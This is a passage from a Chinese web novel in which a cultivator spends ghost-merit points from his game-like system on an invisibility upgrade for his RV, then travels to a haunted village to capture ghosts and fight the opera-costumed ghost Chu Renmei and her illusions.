以他如今**境的法力,破限的体质,再加上诸多手段,就算那楚人美真的成了气候,他也自信有足够的底气去碰一碰!
这一夜,古德睡得格外深沉香甜。
升级后带来的身心双重满足,加上超舒适大床强大的恢复效果,让他陷入了无梦的深度睡眠。
所有的精气神都在睡眠中得到最完美的补充和调和。
第二天,天刚蒙蒙亮,古德缓缓睁开双眼。
昨夜那场翻天覆地的改造,并非虚幻。
即便经过几个时辰的沉睡,那种充盈的力量感、极致的掌控感,非但没有消退,反而像是经过沉淀,变得更加圆融、更加属于他自己。
心念微动,无需刻意运气,体内气血便如同拥有了生命般,沿着混元六九篇开辟的独特路径自然流转。
“这就是体质12点,超凡脱俗的感觉么……”
古德无声地咧了咧嘴,感受着那份踏实无比的强大。
他轻轻握拳,对着空气随意一挥。
“嗤——”
没有动用半分法力,纯粹是肉体速度撕裂空气发出的轻微尖啸。
拳头所过之处,
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空气被急速排开,形成一道短暂而清晰的气流轨迹。
“好家伙……”古德自己都吓了一跳,赶紧收力。
这要是不小心砸在车上,就算这房车经过强化,恐怕也得留下个印子。
他算是明白,为什么那些修炼有成的体修动不动就能开山裂石了,这肉身本身就已经是一件人形凶器。
简单洗漱后,古德换上了一身便于行动的深灰色棉布劲装,外面罩了件同色的薄外套。
他将长发随意用一根黑色发带束在脑后,整个人看起来利落清爽,又因体质蜕变带来的隐隐宝光和精神饱满,显得神采奕奕。
推开卧室门,来到起居区。
客厅里,阿草已经起来了。
她正背对着他,在小小的料理台前忙碌。
她今天换上了一套黑白相间的标准女仆裙装,蕾丝边头箍将她乌黑的长发整齐地束在脑后,腰间系着一条白色荷叶边围裙,背影窈窕,动作娴熟。
听到开门声,她转过头,看到古德,脸上立刻露出明媚的笑容,眼睛弯成了月牙:
“老板,早呀!粥刚好,我马上盛出来。昨晚休息得好吗?”
她一边说,一边利落地关火,垫着布将砂锅端到小桌上。
“嗯,不错,感觉好极了。”
古德走到餐桌旁坐下,看着阿草忙碌的背影,闻着食物的香气,心情更加愉悦。
这种有人准备好一切、醒来就有热饭吃的日子,确实挺享受。
阿草盛好一碗浓稠喷香的小米粥,放在古德面前,然后也在对面坐下。
她接着双手托腮,亮晶晶的眼睛看着古德,小声道:
“老板,你好像……有点不一样了。感觉……更精神了,而且……”
她小巧的鼻子微微抽动了一下,像只小动物,“身上有股很好闻的、太阳晒过青草一样的味道,很舒服。”
古德闻言,心里一动。
阿草是草木精灵,对生命气息的感知最为敏锐,看来是察觉到了他体质破限后自然散发的纯净旺盛的生机。
他笑了笑,拿起快子:“可能是昨晚练功有点小进步。吃饭吧,吃完我们就要出发了。”
就在他喝完最后一口粥,放下碗快时。
“叮!”
脑海中,系统的提示音清脆地响起。
【地府阴德结算完成。接收来自鬼差赵吏的阴德转账,总计6440点。】
【当前阴德值:7440点。】
古德拿着筷子的手微微一顿,眼中闪过一丝讶异。
第253章 有钱了,消费一波先
“6440点?这么多?”
他原本预估,林九英那边库存的鬼物,加上自己收的那批马贼鬼魂,加起来能有个三四千阴德就不错了。
毕竟那些马贼虽多,但大多是怨鬼,单个不值钱,值钱的是那几个头领。
没想到赵吏结算过来,竟然有六千多点!
“看来九哥这些年,存货不少啊……”古德心里琢磨。
林九英坐镇富贵镇任家镇这一带,肯定没少处理各种灵异事件,抓到的鬼物估计都存着,等待慢慢超度或者找机会送去地府。
这次一股脑全交给自己处理,算是把库存清空了。
这还的人情,可不小。
想到这里,古德对林九英的观感又好了几分。
这位九哥,看着严肃古板,其实做事很有章法,也懂变通,更关键的是,够意思。
比在电影里存在的真实太多了。
“阴德到账了,正好又可以消费一波了。”古德心念电转。
之前看中的那个房车升级配件【千幻伪装外观】,标价5000阴德,他一直没阴德换。
现在一下子进账六千多,手头宽裕了,而且马上就要去黄山村那种荒废之地,接着还要去任家镇,这辆过于超前的白色房车确实太扎眼。
是时候升级一下,让自己和座驾都更接地气一点了。
“系统,打开车辆升级配件商城,找到【千幻伪装外观】配件。”
眼前光幕切换,显示出配件详情:
【千幻伪装外观(基础版)】
描述:集成光学迷彩与物质拟态技术。可让车辆外壳在视觉上模拟成多种预设形态(如不同款式的马车、古董汽车、货箱、甚至岩石、树木等静态景物)。
并具备基础的光线扭曲能力,实现短距离、静止或低速状态下的“视觉隐身”效果(对能量探测、实体碰撞无效)。这是是低调出行、潜伏观察的理想伴侣。
升级效果:获得外观变幻及基础视觉隐身能力,隐身效果受环境光线、观察距离、车辆速度影响,并非绝对隐形。
升级需要阴德值:5000点。
“就决定是它了。”
古德确认了一下描述,虽然只是基础型,还有诸多限制(不能飞、隐身不完美、模板有限),但对于目前的需求来说,已经完全够用,甚至有些超出预期了。
能变马车古董车,还能短距视觉隐身,还要啥自行车?
“系统,”古德在心中直接下达指令,“使用5000点阴德,升级房车配件【千幻伪装外观】。”
“叮!确认宿主指令。扣除5000点阴德值。开始升级【千幻伪装外观(基础型)】配件……”
“升级中……集成光学迷彩单元……加载物质拟态基础模块……连接车辆主控系统……”
“叮!升级完成!【千幻伪装外观(基础型)】已成功加载并激活。”
提示音刚落,古德就感觉到车厢内似乎有极其微弱的能量流动了一下,很快又恢复了平静。外表看起来没有任何变化。
他心念再动:“打开千幻伪装外观控制面板。”
眼前的光幕再次变化,出现了一个简洁的操作界面
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。
左侧是一个车辆的三维模型,正是他房车当前真实外观。
右侧是几个选项:【变幻模式】、【隐身模式】、【可选伪装模板】(关闭/开启)、【设置】。
古德先点开【模板管理】。
里面果然已经预置了一些基础模板,分类清晰:
交通工具类:四轮马车(带篷/无篷)、箱式货运马车、老式轿车(雪铁龙TypeA、福特T型等)军用卡车(简陋版)黄包车(?)。
静态景物类:大块岩石、茂密灌木丛、破损的土墙、废弃的木屋(仅外观模拟,无实际空间)。
【自定义外观】(需提供详细图像或描述,由系统模拟生成,消耗额外阴德)
【未来科技】(灰色未解锁):飞机、潜水艇、机甲……(古德:???)
“……”
古德看着那个“黄包车”选项,以及下面灰色区域里那些离谱的“未来科技”图标,尤其是那个隐约有点像高达轮廓的“机甲”,嘴角忍不住狠狠抽搐了几下。
“系统,你这可选模板的画风是不是有点过于奔放了?黄包车?我这么大个车变黄包车?拉车的人在哪?我自己吗?还有,这个机甲是怎么回事?解锁条件是什么?徒手拆高达成就吗?”
古德忍不住在心里吐槽。
他感觉自己的系统自从升级后,偶尔会流露出一种莫名的恶趣味。
系统沉默,没有回应他的吐槽,高冷得一匹。
古德摇摇头,把注意力放回正事。
他先尝试选择了【隐身模式】模式。
第254章 强大的隐身模式,出发!
下一刻,奇妙的景象发生了。
透过车窗,古德看到房车的外壳,从车头开始,仿佛被一层无形的、流动的水波覆盖,光线经过车身时发生了细微的扭曲和折射。
短短两三秒内,整辆房车虽然依旧停在原地,但在视觉上却变得极其不起眼,仿佛融入了林间的背景光斑和阴影之中。
如果不特别集中注意力去看,甚至很容易忽略这里停着一辆这么大的车。
而且这种隐匿似乎能一定程度上规避普通的观察,但对于拥有灵觉或者刻意搜寻的目标,效果会打折扣。
“好东西!”
古德眼睛一亮,这简直就是潜行、侦察、避人耳目的神器!
他取消了隐匿,又浏览起【民国常见载具】的模板。
最终,目光落在了“老式轿车-雪铁龙TypeA”和“四轮带篷马车”上。
雪铁龙TypeA,算是这个时代非常早期、但确实已经出现的汽车了,方头方脑,结构简单,虽然依旧稀有,但在大城市或富裕地区出现并不算太离谱。
而带篷马车就更普遍了,几乎是个城镇都能看到。
“等到了任家镇那种大镇子附近,可以换成雪铁龙玩玩,好歹是汽车。”
古德摸着下巴想着。
“至于现在去黄山村……那地方估计早就没人了,直接用隐身模式开过去最方便。”
心意已决,古德对系统下达指令:
“系统,启用【隐身模式】模式,并设定为默认行驶模式。非特殊指令,保持隐匿状态。”
【指令确认。“千幻伪装外观”已激活,默认模式:隐身模式。】
随着指令确认,古德看到窗外的景色再次微微扭曲了一下,随即恢复正常,但房车自身的存在感已经降到了最低。
他走到窗边仔细看,能勉强看出一个极为淡淡的与环境色几乎融为一体的轮廓,不盯着看根本发现不了。
“完美。”古德很满意。
这样他就能更自由地在野外行动,不必总是担心座驾太过惊世骇俗了。
升级完毕,阴德还剩下2440点,留作备用。
公里点数只剩100点,忽略不计。
一切准备就绪。
“阿草,收拾一下,我们准备出发了。”
古德转身,对已经乖巧收拾好碗快的阿草说道。
“是,老板!”
阿草动作麻利,很快将小桌板清理干净,砂锅碗快洗净归位。
她身上清光一闪,已经换下了女仆装,变成了一身利于行动的靛青色粗布衣裤,头发也重新编成了一条结实的长辫子,看起来干净利落。
古德走到驾驶位,但并不打算自己开。
他熟练地在中控屏上点按,调出导航系统,输入了从林九英那里得知的关于黄山村的大致方位和地名。
【目的地设定:黄山村(疑似)。路径规划中……请宿主注意,目标地点信息不全,且未收录于详细地图,导航将引导至最近已知坐标,剩余路径需自行探索。】
【预计距离:约210公里。】
【主要路径:乡间土路、山林小径。】
【预计抵达时间:视路况,约6-8小时后。】
“果然偏僻。”
古德看着屏幕上的提示,并不意外。
能有大致方位和引导,已经比两眼一抹黑强太多。
“阿草,你来开车,按照导航指示走。进入山区后,如果路太差或者没路了,就叫我。”
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古德对坐进副驾驶位置的阿草吩咐道。
“放心吧,老板!”
阿草握了握小拳头,一脸认真。
她很喜欢开车,尤其是开这辆又稳又有劲的大玩具。
古德自己则坐到了后面的休息椅上,微微闭上眼睛。
他没有睡觉,而是在脑海中再次梳理关于黄山村的零星信息,以及“楚人美”的可能情况。
“穿戏服投水自尽的女鬼……怨气冲天,盘踞一方,害死多人……水系相关……”一个个关键词闪过。
水属阴,溺死又身着戏服,怨气必然极重,而且很可能与那片水潭环境深度融合,形成了类似地缚灵但更强大的存在。
对付这种鬼物,雷法、火法这类至阳至刚的手段固然有效,但也要小心其利用地利反扑,或者有什么诡异莫测的诅咒、幻术能力。
“不过,以我现在的实力……”
古德感受着体内磅礴的法力和气血,还有那初具雏形的破妄金瞳,心中底气十足。
“只要小心应对,别阴沟里翻船,问题应该不大。实在不行……跑路总没问题。”
他看了一眼处于隐匿状态的房车,心里更踏实了。
这简直是进可攻、退可守的神器。
车子微微一震,几乎听不见发动机的轰鸣声,开始平稳地驶离这片林间空地。
在视觉隐匿模式下,它就像一道悄然掠过的、扭曲的光影,融入清晨的林间薄雾与光影之中,朝着南方那传说中鬼气森森的黄山村驶去。
古德望着车窗外飞速**,逐渐明亮的山林景色,眼神平静。
“楚人美……就让我看看,这个世界的美姨,究竟有何不同吧,不然就成为我的资粮吧!”
第255章 郎在欢心处,妾在肠断时
“前方路段复杂,请谨慎驾驶。左转后右转,再直行约八百米,即可到达目的地:黄山村。”
车载导航用毫无感情的电子音提示着。
阿草双手紧握方向盘,小脸紧绷,严格按照指示操作。
车子在一条几乎被荒草淹没的土路上颠簸前行,左拐右绕,最后冲出一片茂密的灌木丛,视野豁然开朗。
一个死寂破败的山村,如同一个巨大正在腐烂的疮疤,呈现在眼前。
此时已是下午,本该是日头偏西,光线尚可的时候。
但黄山村上空,却像是笼罩着一层无形的、灰蒙蒙的纱布,阳光在这里变得暗淡无力,透着一股阴森森的寒意。
村口歪歪扭扭的木牌坊已经半塌,上面“黄山村”三个字斑驳得几乎难以辨认。
放眼望去,是一片残垣断壁,茅草屋顶大多坍塌,露出黑黢黢的椽子,像一排排死鱼的肋骨。
几棵枯死的老树,枝桠扭曲地伸向灰白的天空,如同绝望的鬼爪。
空气中弥漫着一股潮湿的霉味,混合着泥土和某种难以言喻的淡淡腐臭。
静,死一般的寂静,连一声鸟叫虫鸣都听不到。
阿草下意识地缩了缩脖子,小声嘟囔:“老板,这地方阴气有些严重啊。”
古德没有立刻回答。
他的双眼微微眯起,瞳孔深处有淡金色的微光在闪缩,在他的视野里,眼前的黄山村完全是另一番景象。
浓郁的几乎化不开的灰黑色怨气如同瘴气般笼罩着整个村落,那些废弃的房屋里,影影绰绰地晃动着许多半透明的身影。
它们穿着破旧的民国初年服饰,有男有女,有老有少,个个面目模糊,表情扭曲,漫无目的地在断墙残垣间飘荡、徘回,发出无声的哀嚎。
这些都是死去的村民亡魂,被强大的怨念束缚于此,不得超生。
“呵……”
古德嘴角微微上扬,露出一丝冷峻的笑意,“没想到,还有这么多意外收获。”
这些鬼魂,显然不属于新死之魂的范畴,而是被楚人美杀害后,魂魄被其鬼蜮困住的老住户。
数量还真不少,粗略一看,至少有二三十个。
这可是一大笔阴德,等下就全都捉住送下去超度。
古德拍了拍驾驶座椅背,对阿草笑道:
“阿草,别停,直接开进去。遇见挡路的破墙烂屋子,不用绕,直接撞过去!放心,我这车有保险。”
阿草一听,眼睛顿时亮了,她最喜欢这种肆无忌惮的感觉了,就像在香江当魔的时候。
开车横冲直撞可比规规矩矩开车刺激多了!
“好嘞,老板!坐稳啦!”
阿草兴奋地应了一声,脸上哪还有半点害怕,取而代之的是一种跃跃欲试的兴奋。
她一脚将油门踩到底!
嗡——!
原本为了隐匿而保持低噪音的电机,瞬间发出沉闷有力的轰鸣。
白色的房车如同脱缰的野马,不再顾忌路况,朝着最近一栋半塌的土坯房猛冲过去!
轰隆!卡察察!
一声巨响,烟尘弥漫。
那栋本就摇摇欲坠的破房子,在强化过的车头撞击下,如同纸糊的一般,墙壁瞬间垮塌,屋顶的茅草和朽木稀里哗啦地砸在车顶,又被轻易弹开。
房车毫无阻碍地从废墟的另一头冲了出来,车身上连道划痕都没有。
“芜湖~太爽啦老板!”
阿草透过车窗看着身后扬起的尘土,兴奋地欢呼起来,小手还把方向盘拍得啪啪响。
古德眼角微微跳了一下。
他的本意是遇到实在绕不开的障碍再撞,不是让你把这当碰碰车游乐场啊!
不过……看着窗外快速**的残破景象,他摸了摸下巴,算了,反正这村子早就没人了,破成这样,拆了也就拆了,就当是提前帮以后要造房子的工程队免费拆迁。
就在阿草调转方向,瞄准下一栋看起来更结实一点的砖石结构废弃院落,准备再来一次野蛮冲撞时,异变陡生!
呜呜呜——嗷!
凄厉尖锐的鬼哭声骤然从四面八方响起,如同无数根冰冷的针,猛刺耳膜。
原本那些在房屋间徘徊、对横冲直撞的铁盒子有些茫然的怨鬼们,仿佛被彻底激怒了。
浓郁并且肉眼可见的灰黑色怨气从它们身上爆发出来,如同潮水般涌向房车。
不仅仅是怨气,整个黄山村的阴气、鬼气也仿佛被引动,从地面、从废墟中渗出,与怨气混合在一起,瞬间将房车重重包裹。
车窗外,光线以肉眼可见的速度暗澹下去,仿佛一下子从傍晚跳到了深夜。
灰黑色的气旋缠绕着车身,发出嘶嘶的、令人牙酸的摩擦声。
虽然这些负面能量无法突破房车的防御,无法侵蚀进来,但却产生了极强的阻滞力。
阿草感觉方向盘瞬间变得沉重无比,脚下的油门即使踩到底,车子的速度也骤然慢了下来,像是陷入了无形的、粘稠的沼泽地,只能以大概二十码左右的龟速,艰难地向前挪动。
“老板,车子好像陷进泥潭里了,开不动了!”
阿草有些慌张地回头看向古德,小手使劲晃了晃方向盘,车子只是发出沉闷的引擎声,依旧慢吞吞的。
古德透过车窗,看着外面张牙舞爪、不断冲击车体的怨气旋涡,以及那些在怨气中若隐若现、面目狰狞的鬼影,摸了摸下巴。
“看来,这车对付物理障碍没问题,但对上这种纯粹的能量阻滞,动力系统还是差了点意思。”
他心里琢磨着,“回头得问问系统,能不能加装个什么破邪、驱煞的阵法或者配件,遇到这种情况,一键激活,清场前进,那才方便。”
不过,现在不是考虑未来升级的时候。
古德笑了笑,对着有些紧张的阿草摆了摆手:
“既然它们不想让我们安生开车,那就先下车活动活动筋骨,把这些拦路的朋友请走再说。”
“嗯!”
阿草见古德如此镇定,也安心下来,用力点头。
古德推开坚固的车门,迈步走了下去。
双脚刚一踏上黄山村冰冷潮湿的土地,一股深入骨髓的阴寒之气便扑面而来。
周围盘旋的怨气像是嗅到血腥味的鲨鱼,更加疯狂地涌向古德这个唯一的生人。
那些怨鬼也发现了从铁盒子里出来的活物,它们扭曲的脸上露出贪婪和疯狂的神色。
它们都是被楚人美害死的村民,死后魂魄不得安宁,被禁锢在
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这片鬼蜮中,日夜受怨念煎熬和楚人美的折磨。
此刻看到一个阳气充沛的生人,就像饿疯了的野狗看到了鲜肉,只想扑上来撕咬、吞噬,用生人的阳气和魂魄来缓解它们无尽的痛苦。
“嗬嗬……”
“活人……阳气!”
“撕了他!”
混乱的、充满恶意的精神波动混杂在鬼啸中,冲击着古德的感知。
数十道灰黑色的鬼影,裹挟着刺骨的阴风,从四面八方扑了上来!
古德看着这些被怨气蒙蔽了心智、只剩下吞噬本能的可悲亡魂,轻轻摇了摇头,嘴里吐出三个字:
“不知死活。”
下一秒,他周身骤然绽放出璀璨夺目的金色光芒!
这是万金油金光咒!
温暖、正大、光明的金光如同一个小太阳,以古德为中心猛地扩散开来!
嗤嗤嗤——!
那些扑上来的怨鬼,一接触到这至阳至刚的金光,就如同积雪遇到了烈阳,魂体上立刻冒出浓郁的黑烟,发出更加凄厉痛苦的惨叫。
它们惊恐地向后飞退,原本凝实一些的魂体都变得淡薄了不少,看向古德的眼神充满了恐惧。
古德意念一动,存放在房车储物空间里的一沓明黄色的收鬼符箓便出现在他手中。
他手指并拢如剑,掐了个简单的诀,对着那些在金光外围哀嚎徘徊的怨鬼一指,清喝一声:
“收!”
嗖嗖嗖——!
他手中的符箓瞬间化作数十道黄光,如同有了生命般激射而出,精准地飞向每一个怨鬼。
符箓贴上鬼魂的瞬间,上面的朱砂符文明亮一闪,那些怨鬼便惨叫着被吸入符中。
黄光卷着鬼魂倒飞而回,在空中自动折叠成一个个小巧的三角形符包,噼里啪啦地掉落在古德脚边的空地上,像是下了一场黄色的雨。
转眼之间,周围为之一清。浓郁的怨气旋涡失去了主导,开始缓缓消散,天色似乎也亮堂了一丝。
那些张牙舞爪的鬼影全都消失不见,只剩下地上几十个三角形的符包。
“阿草,收拾一下。”
古德对着车内招招手。
阿草早就准备好了,拎着一个小布袋子跳下车,手脚麻利地将地上的符包一个个捡起来,放进袋子里,脸上满是轻松。
这些小鬼,在老板面前根本不够看嘛。
就在古德以为清理了杂兵,可以继续前进,去找正主楚人美时——
突然,从村子的更深处,隐隐约约地,飘来了一阵若有若无的戏曲声。
那声音婉转、凄切,带着一种古老的韵味,如泣如诉,在死寂的荒村中回荡,显得格外清晰,也格外瘆人。
“郎在欢心处,妾在肠断时,
委屈心情有月知,
相逢不易分离易,
弃妇如今悔恨迟,
君忆否当日凤凰欣比趣,
又记否续负恩情过别枝,
又情否旧爱已无身宿处,
又念否有娘无父一孤儿,
猜君呀,
你又可知否我久病成痨疾,
不久会为你伤心死。”
古德脸上的轻松神色收敛了一些,目光投向戏曲声传来的方向,眼神变得认真起来。
“正主……要来了。”
第256章 这么大年纪了,还喜欢玩角色扮演
那幽幽的戏曲声,如同无形的丝线,缠绕在黄山村的每一寸空气里。
声音凄婉哀怨,调子古老,唱的似乎是粤剧里的某种悲情选段。
古德站在原地,目光地投向戏曲声传来的方向。
阿草则紧张地抱着装满收鬼符的布袋,快步躲回了房车旁,小手紧紧抓着车门把手。
空气中的阴寒之气骤然加剧,原本就因为怨鬼被收而稍稍消散的灰黑色雾气,再次从四面八方汇聚而来,而且比之前更加浓郁、更加粘稠,仿佛要凝结成实质。
光线进一步暗淡,几乎如同黑夜提前降临。
就在这时,在村中那条小路尽头,一个身影缓缓浮现。
那是一个穿着戏服的女子。
一身褪色但依旧能看出原本是宝蓝色的女式戏袍,水袖长长地垂落。
身段窈窕,依稀能看出生前是个美人胚子。
但最引人注目的,是她那一头乌黑的长发,并未像寻常戏子那样梳起发髻,
而是如同瀑布般披散下来,完全遮住了脸庞,只隐约露出一个苍白尖削的下巴。
她就那样静静地站在那里,仿佛与整个荒村的阴暗背景融为一体。
楚人美。
她出现得毫无征兆,下一刻,身影微微晃动,闪烁了一下,瞬间便出现在了古德身前十几米远的地方。
这个距离,已经能清晰地感受到她身上散发出的刺骨阴气。
然而,这还没完。
楚人美的身影再次一晃,仿佛水面倒影被石子打破,一道鬼影骤然分化成三道!
三个一模一样的、穿着蓝色戏服、披头散发的楚人美,呈三角形将古德围在了中央。
她们的动作、姿态,甚至连身上散发的阴气波动,都完全一致。
古德童孔微微一缩。
他下意识地运转起刚刚觉醒雏形的破妄法眼,双眼中淡金色的微光流转,仔细看向这三个楚人美。
在他的视野里,这三个身影并非虚幻的残影或幻象,而是实实在在的、由精纯阴气和强大怨念凝聚而成的鬼体!
每一个体内都蕴含着惊人的能量,几乎不分伯仲!
“一气化三清?不对,是类似分身的高级鬼术……”
古德心中凛然,脸上的轻松神色彻底收敛,取而代之的是前所未有的凝重和谨慎。
他原本以为这个世界的楚人美,可能就是个怨气特别重的厉鬼,没想到竟然强到这种地步!
单单是这一手分身化影,就绝非普通鬼物所能企及。
他心念一动,那把沉重的青铜阔剑瞬间出现在手中,冰冷的触感传来,让他心神稍定。
阔剑上暗淡的七星似乎感应到周围浓郁的阴气,微微亮了一下。
“这下有点棘手了……”古德快速评估着对方的实力。
从这凝实无比的鬼体和磅礴的阴气来看,楚人美绝对达到了鬼王的层次!
相当于修行者的**境,甚至可能还要更强一些。
自己虽然法力深厚,肉身强横,但毕竟初入**境不久,手段也多以应对普通妖邪为主。
面对一个拥有诡异分身能力、并且占据地利的鬼王,若没有提前布置克制性的阵法,硬拼起来,胜负恐怕也只在五五之间。
这个世界的水,果然比他想象的还要深。
一个看似偏僻荒村的鬼魂,竟然有如此道行。
让古德有些意外的是,楚人美似乎并没有立刻动手的意思。
围住他的三个身影中,正面那个缓缓抬起了被长发遮盖的脸庞,虽然依旧看不清面容,但古德能感觉到一道冰冷的目光穿透发丝,落在了自己身上。
然后,一个幽幽的带着戏腔韵味,却又冰冷得不带丝毫感情的女子声音响了起来,回荡在死寂的村落里:
“阁下来我村庄,毁我村屋,收我魂奴,未免……也太不讲道理了。”
她的声音很平静,没有厉鬼常有的尖啸和疯狂,反而有种诡异的理智。
古德握紧了手中的青铜阔剑,剑尖斜指地面,沉声回应:
“在下路径此地,见此处鬼气冲天,怨魂哀嚎,受困于此,不得解脱。
心生不忍,故而出手,想带它们下去,寻个超度的机缘,也算积点阴德。行事鲁莽,毁了贵地几间本就摇摇欲坠的破屋,打扰了清净,是在下考虑不周。”
他顿了一下,语气变得更为干脆:
“既然此地有主,主人家又不欢迎,那古某就此告辞,绝不纠缠。”
说完,他脚步微微后移半分,姿态放松却保持着随时能爆发的戒备,既然没有把握拿下对方,反而可能陷入苦战,那不如战略性转移。
跟一个鬼王死磕,赢了收获未必很大,输了可就亏大了,不划算。
然而,楚人美显然不这么想。
“呵……
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”
三个楚人美同时发出了一声极轻的带着冰冷嘲弄的笑声,那笑声重叠在一起,更加诡异。
“我这地方,荒僻是荒僻了些,可也不是说来就来,说走就走的……想走总得留下点念想。”
随着她的话音落下,古德只觉得周围景象骤然一阵扭曲、模糊!
仿佛时光倒流,又像是褪色的画卷被重新渲染上色彩。
他眼前那破败不堪、断壁残垣的黄山村,竟然以肉眼可见的速度“修复”起来!
倒塌的墙壁重新立起,破碎的瓦片飞回屋顶,荒草缩回地下,枯木焕发生机。
几乎是眨眼之间,一个完整的、充满生活气息的民国初年山村,就取代了之前的废墟景象。
更诡异的是,原本空无一人的街道和院落里,瞬间出现了许多村民。
有扛着锄头刚从田里回来的老汉,有坐在门口纳鞋底的妇人,有追逐打闹的光屁股小孩,还有三五成群聚在一起闲聊的青壮。
他们穿着粗布衣服,脸上带着这个时代底层百姓常见的、被生活磨砺出的麻木与些许好奇。
这些村民似乎对突然出现在村中的古德、阿草,以及他们身后那辆与周围环境格格不入的铁盒子(房车)感到非常惊讶。
他们纷纷围拢过来,对着古德和阿草指指点点,交头接耳,发出嗡嗡的议论声。
“这两人是谁啊?穿得怪里怪气的。”
“那是个啥家伙?铁做的车?没见过……”
“你看那女娃娃,长得真水灵……”
“他们从哪来的?”
议论声、好奇的目光,瞬间将古德和阿草淹没。
这场景真实得可怕,甚至连阳光照射的角度、空气中飘散的炊烟味道,都模拟得惟妙惟肖。
古德嘴角微微抽搐了一下,心里一阵无语。
“这位美姨……爱好还挺别致啊?这么喜欢演戏?搞这么大阵仗,就为了玩角色扮演?”
在他的破妄法眼注视下,眼前的繁华村落完全是另一番景象。
所谓的房屋,依旧是那些残破的骨架,只是被一层浓厚的、流动的阴气笼罩,形成了虚幻的外壳。
而那些栩栩如生的村民,本质上都是一缕缕楚人美的鬼气分身,它们的面容在古德眼中不断扭曲,露出楚人美那披头散发的本质。
整个场景,就是一个巨大而精致的鬼蜮幻象!
第257章 出黄山村,前往任家镇
这幻象对付普通人,甚至道行不够的修行者,绝对是致命的,足以让人沉沦其中,不知不觉被吸干阳气。
但对拥有破妄法眼的古德来说,就跟看一场拙劣的全息电影差不多,处处都是破绽。
不过,这幻象对阿草显然影响很大。
“老板……这……这是怎么回事?怎么突然这么多人?”
阿草紧紧靠着车门,小脸发白,看着周围越来越多、对着她指指点点的村民,声音都有些发颤。
她毕竟是草木成精,对这种级别的鬼王天生有种畏惧感,此刻陷入这逼真的幻境,更是如同小兽落入陷阱,惶惶不安。
“回车里待着,锁好门。外面都是假的。”
古德头也不回地吩咐道,声音沉稳,带着让人安心的力量。
阿草也知道自己这点道行,留在这里就是添乱,赶紧应道:“哎!老板,你……你可千万小心点!”
说完赶紧拉开车门钻了进去,飞快地锁好。
然后趴在车窗上,紧张地看着外面。
古德不再理会周围那些叽叽喳喳的村民,目光穿透虚幻的景象,直接锁定在幻象中某个位置,那里是楚人美真身所在的气息源头。
他朗声开口,声音清晰地传遍整个幻象村落:
“楚人美,收起你这套把戏吧,对我无用。打开鬼蜮,放我们离开,我以道心起誓,今日之事就此作罢,绝不回头寻你麻烦。如何?”
幻象停滞了一瞬。所有“村民”的动作和议论声都戛然而止,齐刷刷地扭头“看”向古德,画面诡异非常。
紧接着,一阵幽幽的、带着冷意的笑声从四面八方响起,仿佛是无数个楚人美在同时发笑。
“呵呵……呵呵呵……想走?那就……看你自己的本事了……”
笑声未落,那若有若无的戏曲声再次飘荡起来。
与此同时,古德突然感觉自己的脚踝一紧,一股冰冷的、滑腻的触感传来!
他低头一看,只见一只苍白浮肿、指甲青紫的手,竟然从脚下的泥土里伸了出来,死死抓住了他的裤脚!
紧接着,一颗人头猛地从地里钻出!
同样是长长的、湿漉漉的黑发遮住了大半张脸,但发丝的缝隙间,却有一只眼睛死死地瞪着古德!
那只眼睛里没有瞳孔,只有一片瘆人的眼白,充满了无尽的怨毒和恶意!
嗡!
一股强大的直接针对魂魄的精神冲击,如同冰冷的尖锥,顺着那只眼睛的视线,狠狠刺向古德的脑海!
“哼!雕虫小技!”
古德冷哼一声,体内混元六九篇修炼出的炽热气血瞬间奔涌,如同烘炉般将侵入的寒意驱散。
同时精神力量微微一震,便将那精神冲击抵消于无形。
他被抓住的右脚猛地一跺!
彭!
一股磅礴的巨力透过脚踝传下,那只鬼手和刚刚钻出地面的人头,如同被重卡碾过的西瓜,瞬间爆散成一片精纯的阴气,随即被古德周身自然流转的气血阳刚之气蒸发殆尽。
“给脸不要脸!”
古德眼神一冷,不再废话。
他左手一翻,指间已然夹住了六张紫色的破障符!
这种高阶符箓专破各种幻术、迷阵、鬼打墙。
他随手一扬,六张紫符如同拥有灵性般激射而出,分别飞向六个不同的方位,悬浮在半空之中,符纸上的朱砂符文闪耀着紫色符光。
古德脚踏罡步,手中青铜剑遥指紫符,口中念动真言:
“天地无极,乾坤借法!六合八荒,幻象虚妄,破!”
敕令出口,六张破障符同时紫光大盛!
一道道紫色的青光从符箓中迸发出来,相互连接,瞬间形成一张巨大的紫色光网,笼罩了方圆数十米的范围!
滋滋滋——!
紫色光网所过之处,如同热汤泼雪。那些逼真的房屋、街道、村民……
所有幻象接触到光网,都发出扭曲的、如同布帛被撕裂般的声音,迅速变得透明、模糊,最后如同泡影般纷纷破碎、消散!
眨眼之间,所谓的“繁华村落”景象彻底消失不见,周围又变回了那片残垣断壁、鬼气森森的荒村模样。
只有那浓郁不散的阴气,证明着刚才的一切并非完全虚幻。
幻象被破,楚人美似乎动了真怒。
呜呜呜——!
阴风怒号!
更多穿着蓝色戏服、披头散发的身影,从那些破旧的房屋里,从地下,从阴气旋涡中,不断地冒了出来!
十个,二十个,三十个……密密麻麻,几乎占满了古德周围的每一寸空间!
她们动作僵硬,缓缓地朝着古德逼近,虽然单个实力远不如那三个分身,但数量实在太多,而且每一个都散发着冰冷的杀意。
“想靠人海战术耗死我?”古德眉头紧皱。
这楚人美果然难缠,本体躲着不出来,尽用这些分身和幻术来消耗他的法力和精力。
虽然这些杂兵对他威胁不大,但杀之不尽,也很麻烦。
而且谁知道楚人美的本体会不会趁机偷袭?
不能跟她在这里耗下去!
古德当机立断,一个轻巧的翻身,跃上了房车的车顶。
车顶平整,视野开阔。
他立刻通过心灵联系对车内的阿草传音:“阿草,开车!慢慢往村外退!不要停!”
“明白,老板!”
车内的阿草早已准备好,听到指令,立刻启动车子。
电机发出低沉的轰鸣,房车开始缓缓倒车,碾过碎石和荒草,朝着村口的方向退去。
而古德则站在车顶,面对从四面八方涌来的越来越多的楚人美分身,他深吸一口气,双手结印,体内磅礴的法力开始按照特定的路线运转。
他口中念念有
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词,声音初时不大,却带着一种奇异的穿透力和净化之力,清晰地回荡开来:
“天地自然,秽气分散……洞中玄虚,晃朗太元……八方威神,使我自然……灵宝符命,普告九天……乾罗答那,洞罡太玄……斩妖缚邪,度人万千……凶秽消散,道气长存!”
净天地神咒!
随着庄严肃穆的咒文响起,以古德为中心,一圈柔和却坚韧的金色光晕扩散开来。
这金光充满了祥和、清净、涤荡污秽的意境。
金光所过之处,那些扑上来的楚人美分身,如同遇到了克星,发出凄厉的惨叫,身上冒出浓郁的黑烟,身影迅速变得淡薄、扭曲,最后纷纷溃散成精纯的阴气,被金光净化、消融。
房车在阿草的操控下,保持着稳定的速度向后**。
